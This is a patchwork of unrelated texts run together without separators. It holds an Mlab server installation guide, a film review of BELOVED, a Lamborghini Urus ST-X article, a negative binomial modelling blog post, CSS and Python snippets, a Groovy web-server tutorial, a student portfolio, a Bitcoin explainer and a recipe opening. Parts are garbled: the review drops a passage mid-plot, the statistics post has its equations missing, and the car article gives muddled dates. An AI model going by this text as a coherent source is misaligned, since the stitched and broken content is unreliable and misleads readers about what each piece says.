Before you can use Mlab you need to install the source code on a correctly configured webserver. Mlab is primarily tested on Linux, but there are no inherent Linux features required, as long as your operating system supports the requirements below you should be able to run it.
Mlab can be run without an Internet connection, but during installation of the server software a connection is required. Verify your Internet connection and rectify any issues before continuing.
There are four main steps involved in preparing Mlab:
All examples in this document use a generic Debian/Ubuntu installation, thus all examples refer to apt-get as the package manager. Other Linux distributions may use rpm, yum or other package managers, modify the commands as required. On Windows there is no package manager. For each software installation you need to download the relevant software package and run the executable installer.
To install Mlab you need to be familiar with website setup in general, this includes knowledge about domains/host names/IP addresses and ports; manipulating files, folders and access permissions; editing plain text scripts and configuration files and issuing commands on the command line.
Here we go through the installation of servers and related software that Mlab requires to operate correctly. This section only deals with the actual installation of the software, notes on how to configure the servers to work with Mlab are given in step 3.
If you are setting up a development machine and not a live server, you may want to use the XAMPP package. This includes almost everything that Mlab requires and needs only a minimal installation. You can download this from here and skip to step 1.4
In this documentation {mlab_url} will be used to denote the URL used for Mlab. A number of configuration files require this for Mlab to work correctly. The URL is made up of a host and domain name. To provide details on domain name setup is beyond the scope of this documentation, however we recommend following these steps:
After this is done, make a note of the full URL and use this whenever we refer to {mlab_url} below.
Choose which web server you want to use that supports integration with PHP. Apache 2.x and Nginx have been tested, however, Mlab will work with any other web server that supports PHP and URL rewriting, such as Lighttpd.
Run the following commands:
apt-get install apache2
service apache2 start
Relevant link: http://httpd.apache.org/docs/current/install.html
For Windows refer to these notes for Apache: https://httpd.apache.org/docs/current/platform/windows.html
On many MacOSX versions Apache is already installed. If not, there are many guides to using Apache on the macOS. A recent and very complete guide can be found here: Install Apache, MySQL, PHP and phpMyAdmin on macOS Sierra
Apache is often preinstalled on Linux, if so you can skip this step. If not install on Linux using your package manager and install the relevant package, examples using RPM can be found here: Using Apache With RPM Based Systems (Redhat / CentOS / Fedora).
Apache2 may be installed by default, if so you need to remove it.
service apache2 stop
update-rc.d -f apache2 remove
apt-get remove apache2
Then install nginx using these commands:
sudo apt-get install nginx
sudo service nginx start
Relevant link: https://www.howtoforge.com/installing-nginx-with-php5-fpm-and-mysql-on-ubuntu-14.04-lts-lemp
For Windows follow these notes: nginx for Windows./p>
On Mac based computers you can follow these instructions: https://coderwall.com/p/dgwwuq/installing-nginx-in-mac-os-x-maverick-with-homebrew
Most other Linux distributions have packages available for nginx, see official nginx pages for more information.
PHP 5.4+ or higher is required for the Mlab server. Mlab has been tested with PHP versions 5.6, 7.0 and 7.2
You can install PHP as a CGI, CLI or FPM process, we recommend FPM that runs a FastCGI Process Manager server (for performance reasons). The examples here discuss installing the FPM version, if you use another type you must adjust the commands accordingly.
sudo apt-get install php5-common php5-cli php5-fpm
php5-fpm runs a FastCGI server on the socket /var/run/php5-fpm.
Information on an Windows installation can be found at the official PHP pages: Installation on Windows systems
Many versions of MacOSX have PHP already installed. Information on an MacOS installation can be found at the official PHP pages: Installation on Mac OS X
Most Linux varieties have PHP 5.x as a package in their repositories so you can install it using your preferred package manager. Otherwise refer to the official PHP pages: Installation on Unix systems
Next you need to install a number of PHP extensions that provides additional functionality that Mlab depends on. Some of these may already be installed as part of the core PHP installation.
The actual package names may vary between different operating systems and different versions of PHP and/or operating systems/distributions, please refer to your particular operating system.
Please also remember you may need to restart PHP and/or HTTP services for changes to take effect.
The extensions required are:
You can use the standard package manager to install these.
sudo apt-get install php5-gd php5-intl php5-json php5-mcrypt php5-mysql php5-readline php-gettext php-pear php-xml-dtd php-xml-htmlsax3 php-xml-parser php-xml-rpc php-xml-rpc2 php-xml-rss php-xml-serializer
You can use the PHP Extension Community Library (PECL) repository to install these extensions on Windows.
As with Windows you can install the PHP Extension Community Library (PECL) repository to install these extensions.
Most Linux and Unix distributions will have the required extensions in their repositories, please refer to relevant documentation to find the correct packages to install.
The Mlab installation script will check if any of these libraries are missing later.
Mlab supports the import of Microsoft PowerPoint and Word files into Mlab apps. This is done by using Unoconv, a Python script which uses Libreoffice to convert from PPT/DOC files to HTML files. A small Mlab Python script is then used to add the resulting HTML output as individual pages to the app you are working on. To enable this you need to install the following software:
You can use the standard package manager to install the Python and Libreoffice.
sudo apt-get install python libreoffice-writer libreoffice-calc libreoffice-script-provider-python
Installation files for Windows can be downloaded from the Python website and the Libreoffice website
As with Windows you can install Python from installation files downloadable from the Python website; Libreoffice you get from the official Libreoffice website.
Most Linux and Unix distributions will have the required packages in their repositories, please refer to relevant documentation to find the correct packages to install.
To install the libraries you should use the PIP package manager, details on how to do this can be found on the official Python website.
Mlab should work with any database server supported by the Doctrine ORM library. In the example here we refer to MySQL 5.x as it has been tested with Mlab. MariaDB is a drop-in replacement for MySQL and should also work without problems.
MySQL might be pre-installed, if not you need to run the following commands:
apt-get install mysql-server mysql-client
Follow instructions here to find out how to install the Windows version of MySQL.
For complete instructions look at the MySQL documentation for MacOSX.
MySQL is usually available in your distribution's repository, if not you can look at the official installation instructions for some guidance.
You will be asked to set the password for the root user, make a note of this for later.
Composer is a package manager for PHP. It is used to install the Symfony framework that Mlab uses on the server side. Follow the instructions on the official Composer download page to install it.
NodeJS is used for a small Websockets server, this is required to talk to other Mlab services such as the app compilation service. Additionally, UglifyJS is used to protect the front end source code from copying. Without this protection Mlab will not run.
If NodeJS or npm are not installed you need to run the following command to install the relevant packages:
apt-get install nodejs npm
NodeJS and NPM are available as downloadable packages, for installation details see here.
Mac users can follow the instructions here on how to install NodeJS/npm.
There are packages available for most Linux/Unix based OSes, official details are on the NodeJS website.
After npm is installed you can use npm to install UglifyJS.
If npm is correctly installed this will be the same command on all operating systems:
sudo npm install uglify-js -g
The “-g” parameter is important, without this uglifyjs will be installed in the current directory, it needs to be installed “globally” so it can be used by Mlab later. You may need to run this command as root/administrator user to work correctly.
After installing the servers and helper software in step 1, you need to copy over the Mlab source code.
To complete this section you need to be familiar with manipulating files, folders and access permissions on your chosen operating system.
First create a new directory in a suitable location for your OS/Web server. On Linux this is often /var/www, refer to your OS information where is the best location for this. Below we will use the placeholder {mlab_code} for this folder. You will also need to create another folder for the elements that make up an app and the apps themselves (apps, components, icons and templates), below we will use the placeholder {mlab_elements} for these directories.
The placeholders used here should be replaced by directory names that are appropriate to your setup. For example, {mlab_code} could be something like /var/www/mlab and you may use /srv/www/mlab_elements for {mlab_elements}. You MUST make sure that the directory used for accessible via a URL that shares the domain of the main site, this must be configured in your web server, AND in the “urls” settings in the next section of this file.
Create the following directories:
sudo mkdir {mlab_code}
sudo mkdir {mlab_elements}
sudo mkdir {mlab_elements}/apps/
sudo mkdir {mlab_elements}/components/
sudo mkdir {mlab_elements}/templates/
sudo mkdir {mlab_elements}/icons/
mkdir {mlab_code}
mkdir {mlab_elements}
mkdir {mlab_elements}/apps/
mkdir {mlab_elements}/components/
mkdir {mlab_elements}/templates/
mkdir {mlab_elements}/icons/
Next get your Mlab zip file, typically named something like mlab-v.0.9.0.zip (the actual filename will vary depending on the version you install). Unzip it inside the new directory using the relevant utility for your operating system.
Make sure that the Mlab code is inside the root of the directory you created, you should see something similar to this (over time files/directories may be added, renamed or removed):>
. ├── app ├── bin ├── composer.json ├── composer.lock ├── docs ├── LICENSE ├── LICENSE_MLAB ├── _minimal_websocket ├── mlab_elements ├── nbproject ├── README.md ├── robots.txt ├── src ├── test ├── vendor └── web
If the unzip process has created a single sub-directory inside the Mlab directory you must move the files from the sub-directory and into the main Mlab directory.
At this stage the composer package manager will be used to install the Symfony framework, Symfony libraries and some Javascript libraries used by Mlab on the front end. The commands below are the same for all operating systems. You may need to run them as an administrative/root user.
cd /{mlab_code}/
bin/composer.phar install
This will
Check that everything works OK and that versions of tools are correct by running this command (possibly as an administrative/root user):
php app/check.php
If you get an error regarding "bootstrap.php.cache" (missing, etc), usually the case when starting or moving to new version of Symfony, run this from the root folder of Mlab site:
php ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Resources/bin/build_bootstrap.php
See: http://stackoverflow.com/questions/6072081/symfony2-updating-bootstrap-php-cache for more information.
Mlab requires a number of jQuery JavaScript libraries. These are normally installed when you install the Symfony libraries. If they have not been installed you can run the command below to manually install them (you may need to do this as an administrator/root user).
cd /{mlab_code}/
bin/composer.phar run-script post-install-cmd
It is a contractual obligation to use UglifyJS to protect the Javascript source in Mlab. To do this you need to generate a single combined "asset" JavaScript from the original code using the commands below (you may need to do this as an administrator/root user). If you do not do this Mlab will fail to work.
cd /{mlab_code}/
app/console --env=prod assetic:dump
app/console --env=dev assetic:dump
Remove the {mlab_code}/app/.htaccess using the relevant command for your platform.
The minimal websocket server used by the Mlab app editor to communicate with the Mlab compiler service requires the installation of the websocket library to run. This is done from the command line using the NodeJS package manager:
cd {mlab_code}/_minimal_websocket
npm install
Set the right permissions to the directory you created. The owner of the Mlab directory and all files and directories inside the Mlab directory should be the web server process/user. This is because Mlab will need to create files as users create apps or uploads new components, etc.
In the text below the actual user name is indicated with {webserveruser}, you will need to replace this with the actual user name of your web server process user.
sudo chown {webserveruser}:{webserveruser} {mlab_code} -R
sudo chown {webserveruser}:{webserveruser} {mlab_elements} -R
As an administrative user run the following commands:
icacls "{mlab_code}" /grant {webserveruser}:(OI)(CI)F /T
icacls "{mlab_elements}" /grant {webserveruser}:(OI)(CI)F /TR
The server software installed in step 1. needs some additional configurations to be able to work with Mlab. Below you will find detailed instructions and examples for each of these servers. Replace {mlab_url} with the relevant URL for your server.
To complete this section you need to be familiar with editing plain text scripts and configuration files and issuing commands on the command line on your chosen operating system.
Below are examples of how to configure Apache and Nginx web servers. However, Mlab will work with any other web server that supports PHP and URL rewriting, such as Lighttpd. The key issues is to configure it so that Symfony works and you can access templates, components, icons and apps in the {mlab_elements} directory
To run Mlab as a virtual host Apache needs the setup outlined below. The actual file to enter this information into varies, please refer to the relevant documentation for your operating system with regards to which file to edit.
Use your preferred text editor and enter the following text in the relevant configuration file.
<VirtualHost *:80> ServerName {mlab_url} ServerAdmin webmaster@localhost AliasMatch /mlab_elements/components/(.*) /{mlab_elements}/components/$1 AliasMatch /mlab_elements/apps/(.*) /{mlab_elements}/apps/$1 AliasMatch /mlab_elements/templates/(.*) /{mlab_elements}/templates/$1 AliasMatch /mlab_elements/icons/(.*) /{mlab_elements}/icons/$1 <Directory /{mlab_elements}/> Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all Require all granted </Directory> DocumentRoot /{mlab_code}/web <Directory /{mlab_code}/web/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all Require all granted <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ app.php [QSA,L] </IfModule> </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
If your system supports the APACHE_LOG_DIR variable, you can use ${APACHE_LOG_DIR}/, otherwise you will need to enter the full path, for instance /var/log/apache2/.
Restart Apache to make the changes take effect, refer to the Apache documentation for your operating system on how to do this.
As with Apache you need to refer to the relevant nginx documentation as to which file should be edited. You need to change the server_name to match a URL that you’re using for the site.
server { listen 80 default_server; server_name localhost {mlab_url} <IP_ADDRESS>; root /{mlab_code}/web; index app.php; ## First try to serve mlab static files location / { try_files $uri $uri/ /app.php?$query_string; } ## Static files in {mlab_elements} location /mlab_elements { alias /{mlab_elements}; } ## mlab php requestst are passed on to the php5-fpm socket location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } }
In addition, you should set in /etc/php5/fpm/php.ini cgi.fix_pathinfo = 0
Restart nginx to make the changes take effect, refer to nginx documentation for your operating system on how to do this.
Different database servers will require different settings, not all directly related to Mlab. The only thing we want to emphasise here is the need to enable UTF-8, this enables the use of non-ASCII characters in Mlab, without this it will not work correctly. Setting UTF8 defaults for MySQL is as simple as adding a few lines to your configuration file (typically my.cnf in /etc/mysql/ on Mac/Linux/Unix variants, otherwise my.cnf inside the MySQL folder on Windows).
Update (or add) the following settings:
[mysqld]
collation-server = utf8_general_ci
character-set-server = utf8
Symfony, the main framework used by Mlab, requires that the option date.timezone is set in your php.ini file(s). Open the {%php.ini%} file using your favorite text editor and search for the line containing date.timezone. Uncomment the directive by removing the ; (semicolon) sign in the beginning of the line, and add the appropriate timezone, for your application. For example Europe/Oslo.
[Date]
; Defines the default timezone used by the date functions
; http://php.net/date.timezone
date.timezone = Europe/Oslo
If you run php-fpm (and not php-cgi) you MUST restart the hardware server when you do a change! It is not enough to just restart the web server or PHP software.
The {mlab_code}/FileManagement/conv/config.json file has a setting that needs to be updated if you want to use a different installation of the Unoconv software than the one included with Mlab. The default settings is "./" which indicates that the included version should be used. The setting is shown below and can be edited using your preferred text editor.
"paths": { "unoconv": "./" }
Mlab uses web-sockets to exchange messages between the Mlab editing tool and the app compilation and app market services. Run the following command to start it:
cd {mlab_folder}/_minimal_websocket
npm start
The server configuration should be updated so that this Websocket server always starts when the server is rebooted, alternatively you should have a script that starts this at the same time as you start the main Mlab server. Refer to your OS documentation to find out how you create a service and how you can start this service whenever the computer is rebooted.
You can now open the installation check page, open a web browser and go to http://{mlab_url}/INSTALL/index.php. Replace {mlab_url} with the URL you set up earlier in the step entitled "Specify host & domain name, test web server". Then follow the instructions on your screen.
The database must be set up before Mlab works. You need to create the database and a database user, then you need to populate the new database with some data before you can use Mlab.
In all the commands below replace the various placeholders, such as "{mlab_database}" with values that matches your setup.
First we create a database and a user for that database from the command line:
mysqladmin -u root -p create {mlab_database}
mysql -u root -p -e "GRANT ALL PRIVILEGES ON mlab.* TO '{mlab_database}'@'localhost' IDENTIFIED BY '{mlab_db_password}'; FLUSH PRIVILEGES;"
Next we need to upload the table defisitions and basic login data data into the new database.
mysql -u root -p mlab < /{mlab_code}/web/INSTALL/mlab.sql
Both databases contains a user with "superadmin" credentials, the initial login is<EMAIL_ADDRESS>with password "mlab_password". Use this to add your own super admin user and delete the default user, or at the very least change the password for the default user.
The Composer installer should have created a parameters.yml in the /app/config directory. Edit this file according to your setup, pay particular attention to paths and login/password details. The database settings must match the database you set up using MySQL earlier.
If you edit the parameter.yml file by hand you must ensure that all directory paths end with a trailing slash, i.e. /my/directory/ and not /my/directory
Next you need to clear the cache that Symfony creates and update the access permissions for the cache and log folders (commands may need to be run as administrator/root user):
php app/console cache:clear --env=prod php app/console cache:clear --env=dev app/console --env=prod assetic:dump app/console --env=dev assetic:dump sudo chown {webserveruser}:{webserveruser} {mlab_code}/app/cache -R sudo chown {webserveruser}:{webserveruser} {mlab_code}/app/logs -R
php app/console cache:clear --env=prod php app/console cache:clear --env=dev app/console --env=prod assetic:dump app/console --env=dev assetic:dump icacls "{mlab_code}/app/cache" /grant {webserveruser}:(OI)(CI)F /T icacls "{mlab_code}/app/logs" /grant {webserveruser}:(OI)(CI)F /TR
Templates are used to set the look and feel of an application as well as the basic navigation, thus supporting consistency across different pages in an app and across different apps. It may have headers and footers that are present on all pages and it acts as the container for components (see below) that are added to pages in apps, in effect framing the content. In addition to providing repeatable elements and formatting there is a third aspect of templates, the content check facility. The idea behind this is that there are certain "best practices" to be followed, depending on the type of app that is being created.
To start using Mlab you must have at least one template installed, you should have been supplied with a ZIP file containing one or more Mlab templates. You can add these to Mlab at this point by uploading them here.
Components can be a single HTML5 element (h1) for a headline, more advanced components that displays videos, or complex components such as multipage quizzes that store data for verification on a remote server. Components are added within the body of a template and through them an app creator can share information in a variety of ways, from simple headlines to complex map displays. Each component consist of (at minimum) an icon that is displayed in Mlab, a configuration file, a Javascript file for design time interaction with the app builder and optionally additional Javascript, CSS and HTML code to complete the component at runtime.
To start using Mlab you need a few basic components. These are supplied as a a ZIP file and are part of the default Mlab installation. You can add these components to Mlab at this point by uploading them here.
Refer to the installation and usage documentation for this service if you want Mlab to compile app automatically.
It is beyond the scope of this document to discuss debugging in detail, below we provide a basic list of tool that you may want to search for more information about


BELOVED
A Film Review by Brian Takeshita
Rating: ** out of ****
The day after I saw this film, someone asked me if it was good or bad. Honestly, it took me a few moments to come up with an answer. You see, BELOVED, based on the novel by Toni Morrison, is good in so many ways, yet terrible on such a fundamental level as to be inexcusable. While most movies have pros and cons, this one suffered from faults that were so glaring, they seemed to cancel many of the meritorious aspects.
Sethe (Oprah Winfrey) is an escaped slave living in Ohio with her teenage daughter Denver (Kimberly Elise). When Denver and her siblings were still very young, Sethe's master came up from Kentucky to claim his "property," and in a confused frenzy, Sethe attempted to kill all four of her children so they would not be taken back.  This haunting isn't the type that opens a cabinet door now and then, or moves a spoon from the kitchen counter to the living room when nobody's looking. When Paul D (Danny Glover), a fellow slave from Kentucky, comes into the house and takes an obvious romantic interest in Sethe, the spirit shakes the structure to the foundation and hurls a table across the room, threatening to cut Paul D in half. No wonder Sethe's two boys ran away years ago.
The romance that blossoms between Sethe and Paul D is both a reawakening and reconciliation of Sethe's past. By getting reacquainted with someone who shared her experiences on the plantation, it is clear that Sethe can now vocalize some of the most horrible moments of her life, and in doing so, gain strength from the fact that she survived. Paul D's arrival also fills the hole left by the husband whom Sethe never saw after escaping from Kentucky. However, as much as Sethe manages to put her life together and become happy once again, the child that she killed continues to haunt her.
In essence, this film is about a woman trying to come to terms with her past, and in that respect, BELOVED is very engaging. While Sethe is seen as a strong woman early on, her transformation into a whole person is tangible, and Winfrey, who delivers a startlingly convincing performance, gets much of the credit for this. In developing the relationships between man and woman, and mother and daughter, BELOVED is also able to provide several dimensions to the storyline. Danny Glover is a joy to watch on screen as he gives an earth-natural performance of a very likable character, and capitalizes upon the significant chemistry between Winfrey and himself. Kimberly Elise is also very impressive as the daughter who must vie for the attention of her mother, while consistently supporting her in every way she can.
Director Jonathan Demme emerses us so deeply in the period that we really get a good feeling for what it was like in the mid-1800's. We watch from beginning to end as Sethe makes biscuits from scratch and bakes them in a cast-iron stove. We are witness to the continual process of scrubbing wooden board floors, and the ungainly drudgery of using a pole to assist in doing the laundry in a tub of boiling water. So many details provide an interesting authenticity to this film, and it pays off by allowing us to share in the day-to-day experiences of the characters, and therefore appreciate them a little more.
This human aspect of the film is so interesting and full of possibilities that it could have been it's own movie. In fact, it should have been, because the second aspect, the supernatural subplot, only weighs down the rest of the film. The haunting scenes seem out of place and totally unnecessary, as if someone had gotten the great idea that by combining two absolutely different films, he could somehow take advantage of some kind of cinematic economy of scale. Worse yet, Sethe's youngest becomes tired of mere haunting and materializes as a teenage girl in front of the family house. Just like she showed up at the door, so did this subplot.
Thandie Newton plays Beloved, the re-embodied spirit, in a way that leads you to believe that although the character's body is the age it would have been had she lived, her mind is still that of an infant or young adolescent. Newton's performance is quite proficient, although it does become rather grating after a while. If an infant learned to talk, would we really want to listen to its blathering all the time? What I couldn't figure out was why the whole thing seemed so normal to the main characters. After getting over an initial shock, all involved just take living in a haunted house with a grain of salt, and accept the fact that a dead relative returned from the grave.
Beloved's presence exists for the sole purpose of symbolizing Sethe's past coming back to haunt her, ironically returning Sethe to a figurative state of slavery. Sethe's world is turned upside-down, and her own very existence is subjugated to the care of her newly returned daughter. However, BELOVED's supernatural element is so extraneous that the film could easily have been turned into a very compelling conventional human drama. Whenever we see Newton's character, it's like a second story trying to insinuate itself into the one we're watching. It's strange, cumbersome, and distracting, so why not just take it out altogether? We could still have Sethe struggle with her own conscience without all of the weirdness. Now that would be a film I'd like to see.

Is Lamborghini Testing The Urus ST-X At The Nürburgring?
This could be the rumored road-legal version of the racer.
by Chris BruceThe Lamborghini Urus ST-X is the special version of the Italian brand's crossover that's specifically for a one-make racing series that starts in 2020. This spy video catches something interesting. It's not clear whether the modified Urus in this clip is simply a development vehicle for the upcoming competition version or whether this could be the upcoming road-going variant of it.
Gallery: Lamborghini Urus ST-X Spy Video
The Urus development vehicles in this clip look similar to the existing version but with slight styling tweaks. Lamborghini's engineers tape the seams along the hood on the white example, and the low-profile roof rails get a coat of contrasting black paint. The green one gets a modified lower fascia and rear bumper similar to the parts on the ST-X.
This video also provides a brief glimpse of the wild Urus Rescue Car. It wears an eye-catching yellow and black exterior. There's a roof basket for hauling cargo and a rear-mounted spare wheel.
Get Up To Speed With The Urus ST-X:
For racing duty, the ST-X packs the road-going model's twin-turbo 4.0-liter V8 engine delivering 650 horsepower (485 kilowatts) and 627 pound-feet (850 Newton-meters) of torque. However, it should be quicker than the usual Urus thanks to a 1,212-pound (550-kilogram) diet that would make the crossover weight around 3,637 pounds (1,650 kg). For safety, the interior features a roll cage, racing seat, and fire extinguisher.
Building a road-legal version of the ST-X makes sense. The wealthy gentleman racers competing in the one-make series would likely want to experience the performance on the road.
A road-going version of the ST-X isn't likely to arrive until 2020. The racing variant makes a competition debut in October 2020 at the Misano World Final of Lambo's Trofeo series.

The other day I started working with a colleague on propagating uncertainty for a negative binomial generalized linear model. To my surprise I found that there was a couple of different ways to define the probability distribution that led to more than a bit of confusion on my end, but got me messing around with how you could simulate over-dispersed count data in a couple of ways. It also got me working with TMB again and the woes of dealing with nonlinear optimization.
The first model is a mixture distribution model which incorporates a poisson distribution but also a gamma distribution to account for the extra variance. from what I have seen this is referred to as an NB1 model and looks like this.
Our distribution has a mean of but that persists through both distributions but the variance is greater than just a regular poisson distribution because of the randomness introduced by the Gamma distribution which itself has a variance of . Getting this to work for a linear model with a log link required me to introduce a new random variable which would account for the over-dispersion and a full log link model follows the form
where is my matrix of covariate data and are their coefficients for the linear model.
Simulating this data was cake but when I used TMB to fit the model I found that my model often failed to converge depending on what the start values of my parameters were. I could get around it by fitting the model with out first to get good start values for but even so the model was slow to fit.
Alternatively we could model the extra variance directly without any extra term $$\nu$ by using a negative binomial function that comes built in with both R and TMB. This way saves us the hassle of having to simulate from two different distributions and the two parameter model can easily be set up so that it has a mean setting parameter and a variance parameter. The NB2 as well call it looks like this.
Fitting a log linear model into here just means estimating with the same without the parameter. The nice thing is we still get the same distribution as the first model where corresponds to . The even nicer thing is that I didn’t have any problems fitting this model and it was way faster for TMB due to not having a whole other set of parameters to estimate.
A working version of the code exists here

You can use these on various tags that you may want to style as buttons.
You can also force the dark variant for use on dark backgrounds. This only affects outline buttons.
Similar to dark variant, but shades in the background color a bit. Useful for overlaying images.
Darker fills will automatically get the dark variant styling.
Lighter fills will keep the default styling.
Active states for outline buttons look the same as normal buttons.
In daker fills they will look different, though...
Can be used for icon-only buttons.


Reports equality comparison with a boolean literal.
Example:
def func(s):
if s.isdigit() == True:
return int(s)
With the quick-fix applied, the code fragment will be simplified to:
def func(s):
if s.isdigit():
return int(s)

I learned that soldering is extremely hard, especially on small spaces, and that it should be done by an expert. It was way too hard to make sure that every wire was the right length and every bit of metal was soldered in the right place.
Despite these difficulties, I did manage to make one thing successfully.

Creating Services
Services are composed of resources, staticRoots and filters. Creating services in gServ is extremely simple. The following code creates an HTTP server and starts it listening to port 8080:Example
Create a folder: WelcomeTest In the new directory, add file 'build.gradle' with contents below:
apply plugin: 'groovy' apply plugin: 'application' apply plugin: 'maven' mainClassName = 'WelcomeService' version = "0.0.1" repositories { mavenCentral() mavenLocal() } // In this section you declare the dependencies for your production and test code dependencies { // The production code uses the SLF4J logging API at compile time compile 'org.slf4j:slf4j-api:1.7.5' compile 'log4j:log4j:1.2.17' compile('org.codehaus.groovy:groovy-all:2.3.0') compile("io.github.javaconductor:g-serv:0.0.1") /// needed for Grab/Grape groovy group: 'org.apache.ivy', name: 'ivy', version: '2.2.0' testCompile 'org.spockframework:spock-core:0.7-groovy-2.0' testCompile "junit:junit:4.11" }
Copy the code below to WelcomeService.groovy in your WelcomeService folder.
import io.github.javaconductor.gserv.GServ class WelcomeService { public static void main(String[] args) { new WelcomeService(); } def WelcomeService() { def gserv = new GServ() gserv.http { get("/welcome", {-> write("Welcome to g-serv, The embeddable REST server for Groovy!") }); }.start(8080) } }
Tell Gradle to build and run your program.
gradlew clean runThen navigate your browser to [http://localhost:8080/welcome]. You should see the welcome message above in your browser. You may add a single resource / method handler to the service but its usually more useful to group the operations in a resource together.

Hello,
Welcome to my portfolio.
My name is Lorraine Wambui Wambiru. I have gone through Primary School at Roots Academy and High school at Pangani Girls School. I have furthered my education to do short courses over my newly found love for technology at Institute of Advanced Technology (IAT), where I learnt Level 1 web design, which include HTML and CSS and also at Moringa School where I am pursuing Software Development, which includes all the languages of programming. I expect to join The Kabarak University to pursue a career in Computer Science. I haven't had any job experience in this area of computer programming, but I have undertaken a job in Online Captioning which is also quite informative.
I decided to take up a programming class because it is a field I would like to major in. It makes it so, that you actually see results, most times than not, that give you a great sense of achievement; no matter how small. So definitely Programming is my thing.


Bitcoin is the world's first decentralized digital currency.
This means Bitcoin works without any kind of central bank or administrative system.
In 2008, an unknown person or group published a paper describing a digital currency under the name of Satoshi Nakamoto. One year later, a reference implementation was made available as an open source-project by them.
Bitcoin works by using a public distributed ledger (called blockchain) that allows clients to place transactions to be recorded by the network. It takes approximately 10 minutes to pass a transaction using the current system.
Each person that wants to trade Bitcoins uses a client that connects to the Bitcoin network. The client manages the distributed ledger and the communication with the rest of the network.
Because the ledger is public, everybody can pass transactions using it. We then need some way to validate that a transaction is authentic, otherwise people could steal each other's money by lying on the ledger. This is made possible thanks to cryptography and the concept of signatures.
But somebody might still be able to lie to somebody else. If I owe you money, I could tell your client that I actually gave it to you but keep this information from the rest of the network. That way, everyone but you will believe I still have the same amount of money as before. Hence the idea of the Bitcoin challenge.
Basically, someone wanting to pass a transaction using the blockchain (our public ledger) needs to do some kind of computation that is actually very costly timewise. They can then add a block to the blockchain that validates a bunch of transactions. A direct consequence of this is that the bigger the computing power used for this task, the harder it is for a single actor to beat them at fullfilling it, simply because a single group or person can hardly possess enough computing power to beat the rest of the world.
One more thing, we can make every block in the blockchain linked to the block before it so the state of the next block is dependent on the state of the whole chain. That way, nobody can modify previous blocks without invalidating the rest of the chain. We are now tamper proof!
However, we still have a problem. People are not going to spend a bunch of time and energy to pass transactions for free, so we need to reward them. That's where the term "mining" comes from. Everytime somebody validates the challenge and appends a block to the chain, they can add a transaction to give themselves Bitcoins out of nowhere! This way they are properly rewarded for spending all of these resources.
Below is a youtube video by 3Blue1Brown that goes into a little more detail on how cryptocurrencies (and thus Bitcoin) work.
Because Bitcoin is essentially software, people are going to want to modify it in some way. However, it is unlikely that everybody is on board with every change so sometimes, we get a fork.
A fork is basically a divergence in the blockchain due to some changes to the rules of the challenge used to reach consensus. There are two types of forks, hard forks and soft forks.
Hard forks happen when the new clients (using the new rules) in the network reject the old ones (or vice-versa). So we essentially have a new currency that shares history with the first one. If everybody upgrades, then we're fine but if people disagree we might get some problems.
Soft forks are kind of like hard forks, except that we do not split the community in two parts hoping that either one changes their mind. We introduce new rules, and try to get a majority of the network to adopt them but still keep a way to be compatible with the protocol before the changes. That way we can easily introduce a new concept in the protocol without breaking everything.
The 15th of July 2017, the value of Bitcoin dropped. One of the main reasons is the first of August getting closer. At that time, Bitcoin was about to get an update. Miners would be able to fit more transactions inside of a single block which would bring the average time needed to validate transactions down. This change was backwards-compatible and can thus be called a soft fork. Nevertheless, uncertainty related to these changes had a negative impact on the currency.
Following a lot of discussions about Bitcoin and its relative sluggishness when compared to centralized banking systems, the community decided to try and make the system faster. The update we talked about in the previous paragraph sought to do this by changing the information contained inside of a block but another idea came about: make blocks bigger. Bitcoin Cash was born, a hard fork that allows its users to mine blocks about 8 times bigger than Bitcoin, which means 8 times as many transactions can be validated using a single block. The fork was deemed a failure by some parts of the community due to its poor initial adoption. In the weeks following its creation, Bitcoin Cash was nevertheless fighting toe to toe with Bitcoin in terms of profitability.
Bitcoin Gold is a fork that occured on the 23rd of October 2017. Its main goal was to create a Bitcoin resistant to ASICs (short for Application-Specific Integrated Circuits). ASICs are kind of like CPUs except that they are created for computing one specific task. That makes them incredibly efficient at it, so much in fact that some people feared its effect on Bitcoin. Some ASICs were created to compute the Bitcoin challenge and, with them, the big miners became even bigger, locking away the simple user with a general purpose computer.
Bitcoin Gold changed the challenge needed to mine blocks to solve this. It actually borrowed theirs from another cryptocurrency called ZCash, that was itself created from a project inspired by Bitcoin. At this point however, Bitcoin Gold had no client and thus no way for people to start mining it.
The 8th of November 2017, after the announcement of yet another fork called SegWit2x, its deployment was cancelled. Because of tensions in the community related to this fork, the event appeased the minds of a lot of people. Bitcoin reached its peak value at the time. Because SegWit2x was supposed to make transactions faster, people supporting it falled back on Bitcoin Cash, strengthening it.
Just a few days later, during a weekend on the 12th of November 2017, Bitcoin Gold released its client. The new player in the game frightened the Bitcoin userbase. Promptly, the value of Bitcoin drops, reflecting this state of mind.
It is interesting to note that, during this weekend, the hashrate (a way to measure the speed at which people are trying to solve the Bitcoin challenge) halved. It stands to reason that a lot of miners started to mine Bitcoin Gold using their existing hardware just in case it were to gain a lot of traction.
The growth of Bitcoin in 2017 has been impressive to say the least. Were're looking at a price of 16'858 USD for 1 BTC on the 7th of December, even though it barely reached 1'000 USD in January. However there's no telling how a popular fork could affect Bitcoin in 2018.
Finally, with a currency inherently tied to technology and cryptography, any small advancement in these domains could cause either Bitcoin's rise or fall. Do not mistake Bitcoin for a perfectly safe bet.

Homemade Thin Crackers
Story
There is something special about a cheese plate. At first glance, it can be perceived as a food of the upper crust: fine cheeses, charcuterie, and condiments served with rustic bread or "authentic artisinal" crackers (what does that even mean?) and arranged with the precision of a Floris van Dyck still life. The cheese plate is a versatile medium, a blank canvas that you can spread with whatever cured, aged, preserved, ancient-grained, and double-creamed paints of your choosing.
